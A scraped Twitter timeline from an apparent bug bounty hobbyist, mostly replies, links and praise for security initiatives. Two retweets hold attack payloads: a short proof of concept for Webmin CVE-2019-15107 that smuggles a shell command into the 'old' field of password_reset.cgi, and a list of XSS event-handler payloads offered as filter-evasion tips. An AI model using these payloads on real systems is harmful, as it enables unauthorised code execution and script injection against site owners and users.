Anita Jagdish Gaud

[Anita Jagdish Gaud @anitgaud]

@KaranBamal @bugpoc_official That's cool

[Anita Jagdish Gaud @anitgaud]

@AseemShrey I wanted to understand the convent could you help me with POC

[Anita Jagdish Gaud @anitgaud]

@KaranBamal Hey... can you share POC

[Anita Jagdish Gaud @anitgaud]

https://t.co/pyRGKEzS3s

[Anita Jagdish Gaud @anitgaud]

@NullMumbai Good initiative 👏

[𝚑𝚐𝟾 @_hg8_]

"Webmin 0day remote code execution"

Tl;Dr: Lack of input validation in the reset password function allows RCE (CVE-2019-15107). Over 13 0000 vulnerable on Shodan.

PoC:
/password_reset.cgi
user=root&pam&expired&old=wrong | id

https://t.co/kYKfq8v6Bb

[m0z @LooseSecurity]

#bugbountytip #bugbountytips #infosec #infosecurity

Instead of always using <img src=x onerror=alert(0)> why not try:
<audio src=x onerror=alert(0)>
<video src=x onerror=alert(0)>

Or my favorite:

<script src=x onerror=alert(0)>

[Anita Jagdish Gaud @anitgaud]

Hackers Spreading JCry Ransomware that Infecting Windows users via Compromised Websites https://t.co/LkCFFy8quj via @Balajinm3

[Anita Jagdish Gaud @anitgaud]

https://t.co/KJb4g40ksX

[Anita Jagdish Gaud @anitgaud]

Avoid rookie mistakes and progress positively in bug bounty by @kunalp94 https://t.co/3m7kc1BnDE

[Anita Jagdish Gaud @anitgaud]

Really good Initiative by @SecurityTube #AttackDefence

[Anita Jagdish Gaud @anitgaud]

https://t.co/NzJUxn1WxR